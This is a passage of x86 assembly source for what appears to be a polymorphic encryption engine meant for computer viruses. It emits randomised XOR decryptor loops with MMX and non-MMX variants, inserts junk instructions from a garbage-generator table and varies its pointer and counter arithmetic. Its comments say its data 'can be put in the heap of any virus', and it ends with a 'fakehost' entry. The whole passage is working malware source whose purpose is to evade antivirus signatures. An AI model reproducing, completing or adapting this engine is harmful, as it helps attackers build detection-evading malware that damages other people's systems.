[ebp+@@mmx_key] or al,11000000b stosb or word ptr [ebp+@@flags],_CRYPT ret ; Generate the alternative method of MMX encryption code: ; PXOR = XOR @@gen_non_mmx_crypt_instructions: mov ax,0031h ; XOR [reg_ptr],reg_key movzx ebx,byte ptr [ebp+@@reg_key] shl ebx,3 or bl,byte ptr [ebp+@@reg_ptr2data] or ah,bl stosw ret ; Generate the code that will pass the already decrypted data to its original ; position @@gen_passmmx2ptr: mov ax,7E0Fh ; MOVD [reg_ptr],(mmx_ptr xor mmx_key) stosw movzx eax,byte ptr [ebp+@@mmx_ptr2data] shl eax,3 or al,byte ptr [ebp+@@reg_ptr2data] stosb or word ptr [ebp+@@flags],_PASSMMX2PTR ret ; Select the order between increase pointer and decrease counter @@gen_incpointer_deccounter: mov eax,2 call r_range xchg eax,ecx jecxz @@gdc_gip @@gip_gdc: call @@gen_incpointer call @@gen_some_garbage call @@gen_deccounter ret @@gdc_gip: call @@gen_deccounter call @@gen_some_garbage call @@gen_incpointer ret ; Generate the code for make the pointer register to point to the next dword @@gen_incpointer: mov eax,5 call r_range xchg eax,ecx jecxz @@gip_@@2 dec ecx jz @@gip_@@3 dec ecx jz @@gip_@@4 dec ecx jnz @@gip_@@1 jmp @@gip_@@5 @@gip_@@1: mov bl,4 ; ADD reg_ptr,4 call @@gip_AddIt jmp @@gip_EXIT @@gip_@@2: mov eax,2 call r_range xchg eax,ecx jecxz @@gip_@@2_@@2 @@gip_@@2_@@1: mov bl,3 ; ADD reg_ptr,3 call @@gip_AddIt call @@gen_garbage mov bl,1 ; INC reg_ptr call @@gip_IncIt jmp @@gip_@@2_EXIT @@gip_@@2_@@2: mov bl,1 ; INC reg_ptr call @@gip_IncIt call @@gen_garbage mov bl,3 call @@gip_AddIt ; ADD reg_ptr,3 @@gip_@@2_EXIT: jmp @@gip_EXIT @@gip_@@3: mov eax,2 call r_range xchg eax,ecx jecxz @@gip_@@3_@@2 @@gip_@@3_@@1: mov bl,2 ; ADD reg_ptr,2 call @@gip_AddIt call @@gen_garbage mov bl,2 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr jmp @@gip_@@2_EXIT @@gip_@@3_@@2: mov bl,2 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr call @@gen_garbage mov bl,2 ; ADD reg_ptr,2 call @@gip_AddIt jmp @@gip_@@2_EXIT @@gip_@@4: mov eax,2 call r_range xchg eax,ecx jecxz @@gip_@@4_@@2 @@gip_@@4_@@1: mov bl,1 ; ADD reg_ptr,1 call @@gip_AddIt ; INC reg_ptr call @@gen_garbage mov bl,3 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr jmp @@gip_@@2_EXIT @@gip_@@4_@@2: mov bl,1 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr call @@gen_garbage mov bl,3 ; INC reg_ptr call @@gip_AddIt ; ADD reg_ptr,1 jmp @@gip_@@2_EXIT @@gip_@@5: ; INC reg_ptr mov bl,4 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr ; INC reg_ptr @@gip_EXIT: or word ptr [ebp+@@flags],_INCPOINTER ret @@gip_AddIt: mov al,83h stosb mov al,byte ptr [ebp+@@reg_ptr2data] or al,11000000b stosb mov al,bl stosb ret @@gip_IncIt: movzx ecx,bl mov al,40h add al,byte ptr [ebp+@@reg_ptr2data] @@gip_II_Loop: stosb push ecx eax call @@gen_garbage pop eax ecx loop @@gip_II_Loop ret ; Generate the code that will decrease in one unit the counter @@gen_deccounter: mov eax,3 call r_range xchg eax,ecx jecxz @@gdc_@@2 dec ecx jecxz @@gdc_@@3 @@gdc_@@1: mov al,83h ; SUB reg_size,1 stosb mov al,byte ptr [ebp+@@reg_counter] or al,11101000b stosb mov al,1 stosb jmp @@gdc_EXIT @@gdc_@@2: mov al,48h ; DEC reg_size add al,byte ptr [ebp+@@reg_counter] stosb jmp @@gdc_EXIT @@gdc_@@3: mov al,83h ; ADD reg_size,-1 stosb mov al,byte ptr [ebp+@@reg_counter] or al,11000000b stosb mov al,0FFh stosb @@gdc_EXIT: or word ptr [ebp+@@flags],_DECCOUNTER ret ; Generate the loop-alike thingy @@gen_loop: mov eax,04h call r_range or eax,eax jz @@gl_@@3 dec eax jz @@gl_@@2 dec eax jz @@gl_@@1 @@gl_@@0: mov al,83h ; CMP reg_size,00h stosb movzx eax,byte ptr [ebp+@@reg_counter] or al,11111000b stosb xor eax,eax stosb jmp @@gl_dojnz @@gl_@@1: mov al,83h ; CMP reg_size,-1 stosb movzx eax,byte ptr [ebp+@@reg_counter] or al,11111000b stosb xor eax,eax dec eax stosb mov eax,dword ptr [ebp+@@size_address] dec dword ptr [eax] jmp @@gl_dojnz @@gl_@@2: mov al,0Bh ; OR reg_size,reg_size stosb movzx eax,byte ptr [ebp+@@reg_counter] shl eax,3 or al,byte ptr [ebp+@@reg_counter] or al,11000000b stosb jmp @@gl_dojnz @@gl_@@3: mov al,85h stosb movzx eax,byte ptr [ebp+@@reg_counter] ; TEST reg_size,reg_size shl eax,3 or al,byte ptr [ebp+@@reg_counter] or al,11000000b stosb mov eax,dword ptr [ebp+@@size_address] dec dword ptr [eax] @@gl_dojnz: mov ax,850Fh ; JNZ LOOP_ADDRESS stosw mov eax,dword ptr [ebp+@@l00paddress] sub eax,edi sub eax,00000004h stosd or word ptr [ebp+@@flags],_LOOP ret ; --- Garbage generator's table @@gbgtbl label byte dd offset (@@do_anything) ; Oh, my lazy engine! :) dd offset (@@gen_arithmetic_reg32_reg32) dd offset (@@gen_arithmetic_reg32_imm32) dd offset (@@gen_arithmetic_eax_imm32) dd offset (@@gen_mov_reg32_imm32) dd offset (@@gen_mov_reg8_imm8) dd offset (@@gen_call_to_subroutine) dd offset (@@gen_push_garbage_pop) dd offset (@@gen_zer0_reg) dd offset (@@gen_arithmetic_reg32_reg32) dd offset (@@gen_arithmetic_reg32_imm32) dd offset (@@gen_arithmetic_eax_imm32) dd offset (@@gen_mov_reg32_imm32) dd offset (@@gen_mov_reg8_imm8) @@non_mmx_gbg equ (($-offset @@gbgtbl)/4) ; MMX Garbage generatorz dd offset (@@gen_onebyter) ; For security, it's here dd offset (@@gen_mmx_group1) dd offset (@@gen_mmx_group2) dd offset (@@gen_mmx_group3) dd offset (@@gen_mmx_movq_mm?_mm?) dd offset (@@gen_mmx_movd_mm?_reg32) @@s_gbgtbl equ (($-offset @@gbgtbl)/4) ; MMX version @@after_looptbl label byte dd offset (@@gen_passptr2mmx) ;\ dd offset (@@gen_crypt_instructions) ; >- Must follow this order dd offset (@@gen_passmmx2ptr) ;/ dd offset (@@gen_incpointer_deccounter) dd offset (@@gen_loop) @@s_aftlooptbl equ (($-offset @@after_looptbl)/4) ; Non MMX version @@after_l00ptbl label byte dd offset (@@gen_non_mmx_crypt_instructions) dd offset (@@gen_incpointer_deccounter) dd offset (@@gen_loop) @@s_aftl00ptbl equ (($-offset @@after_l00ptbl)/4) mmxe_end label byte mmxe endp ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; Random procedures ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; ; RANDOM ; ; input: ; Nothing. ; output: ; EAX = Random number ; random proc ; Thanx MDriller! ;) push ecx mov eax,dword ptr [ebp+rnd_seed1] dec dword ptr [ebp+rnd_seed1] xor eax,dword ptr [ebp+rnd_seed2] mov ecx,eax rol dword ptr [ebp+rnd_seed1],cl add dword ptr [ebp+rnd_seed2],eax adc eax,dword ptr [ebp+rnd_seed2] add eax,ecx ror eax,cl not eax sub eax,3 xor dword ptr [ebp+rnd_seed2],eax xor eax,dword ptr [ebp+rnd_seed3] rol dword ptr [ebp+rnd_seed3],1 sub dword ptr [ebp+rnd_seed3],ecx sbb dword ptr [ebp+rnd_seed3],4 inc dword ptr [ebp+rnd_seed2] pop ecx ret random endp ; R_RANGE ; ; input: ; EAX = Number of possible random numbers ; output: ; EAX = Number between 0 and (EAX-1) r_range proc push ecx push edx mov ecx,eax call random xor edx,edx div ecx mov eax,edx pop edx pop ecx ret r_range endp mmxe_data label byte ; This data can be put in the ; heap of any virus random_seed label byte rnd_seed1 dd 00000000h rnd_seed2 dd 00000000h rnd_seed3 dd 00000000h ; Registers used @@reg_key db 00h @@reg_ptr2data db 00h @@reg_counter db 00h @@reg_delta db 00h @@reg_mask db 00h @@mmx_ptr2data db 00h @@mmx_key db 00h @@init_mmx? db 00h @@ptr_data2enc dd 00000000h @@ptr_buffer dd 00000000h @@size2enc dd 00000000h @@size2cryptd4 dd 00000000h @@tmp_call dd 00000000h @@fix1 dd 00000000h @@fix2 dd 00000000h @@enc_key dd 00000000h @@l00paddress dd 00000000h @@size_address dd 00000000h @@ptrto2nd dd 00000000h @@flags dw 0000h @@recursion db 00h end fakehost